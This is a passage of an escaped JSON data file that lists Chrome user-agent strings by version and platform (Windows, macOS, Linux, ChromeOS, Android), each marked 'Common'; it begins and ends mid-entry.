NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1; vivo 1716 Build\\/N2G47H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; TRT-LX2 Build\\/HUAWEITRT-LX2; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/59.0.3071.125 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.140 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.172 Safari\\/537.22\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; Nexus 5 Build\\/LMY48B; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/43.0.2357.65 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9901.77.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.97 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 10032.86.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.140 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (en-us) AppleWebKit\\/534.14 (KHTML, like Gecko; Google Wireless Transcoder) Chrome\\/9.0.597 Safari\\/534.14\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.57 Safari\\/537.17\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.96 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.95 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.17 (KHTML, like Gecko) Chrome\\/24.0.1312.56 Safari\\/537.17\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"\",\"ua\":\"Chrome\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.43 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; Redmi Note 4 Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.75 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"23\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.11 (KHTML, like Gecko) Chrome\\/23.0.1271.97 Safari\\/537.11\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-G610F Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.108 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.97 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.2; Redmi 4X Build\\/N2G47H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-J730GM Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; SM-J710F Build\\/NRD90M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.2; Redmi Note 5A Build\\/N2G47H; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/63.0.3239.111 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.0; BLL-L22 Build\\/HUAWEIBLL-L22) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; CAM-L21 Build\\/HUAWEICAM-L21; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; A1601 Build\\/LMY47I) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/535.11 (KHTML, like Gecko) Chrome\\/17.0.963.56 Safari\\/535.11\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 7.1.1; CPH1723 Build\\/N6F26Q) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.98 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A37fw Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2227.1 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.162 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; HUAWEI CUN-L22 Build\\/HUAWEICUN-L22; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/62.0.3202.84 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.146 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.79 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (X11; CrOS x86_64 9592.96.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.114 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.2; Nexus 4 Build\\/KOT49H) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.114 Mobile Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/535.1 (KHTML, like Gecko) Chrome\\/13.0.782.112 Safari\\/535.1\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.98 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.80 